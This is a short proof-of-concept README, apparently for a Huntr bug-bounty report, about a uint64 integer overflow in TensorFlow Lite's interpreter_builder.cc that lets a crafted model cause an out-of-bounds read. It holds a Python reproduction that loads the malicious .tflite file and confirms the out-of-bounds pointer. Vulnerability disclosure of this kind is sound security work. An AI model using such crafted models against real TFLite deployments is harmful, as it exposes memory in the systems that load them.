| # TFLite Buffer.offset uint64 Integer Overflow → OOB Read PoC |
|
|
| **Target:** TensorFlow Lite (Google) |
| **Vulnerability:** `interpreter_builder.cc:671` — unchecked `uint64_t` addition |
| **Impact:** Out-of-bounds read; confirmed OOB pointer dereference (4 bytes before mmap base) |
| **Bounty:** Huntr Model Format Vulnerability Program |
|
|
| ## Files |
| - `evil_buffer_offset_overflow.tflite` — malicious model triggering the vulnerability |
| - `build_poc.py` — script to rebuild the PoC |
|
|
| ## Reproduction |
| ```python |
| import tensorflow as tf, numpy as np, warnings |
| warnings.filterwarnings('ignore') |
| |
| interp = tf.lite.Interpreter( |
| model_path='evil_buffer_offset_overflow.tflite', |
| experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_WITHOUT_DEFAULT_DELEGATES |
| ) |
| interp.allocate_tensors() |
| arr = interp.tensor(1)() |
| ptr = arr.ctypes.data |
| mmap_base = (ptr - 0xFFFFFFFFFFFFFFFC) % (2**64) |
| print(f"OOB confirmed: tensor ptr 0x{ptr:X} is {mmap_base - ptr} bytes before mmap base 0x{mmap_base:X}") |
| ``` |
|
|
| ## Root Cause |
| `tensorflow/lite/core/interpreter_builder.cc:671`: |
| ```cpp |
| if (offset + buffer->size() > allocation_->bytes()) // ← uint64 overflow, no check |
| ``` |
|
|
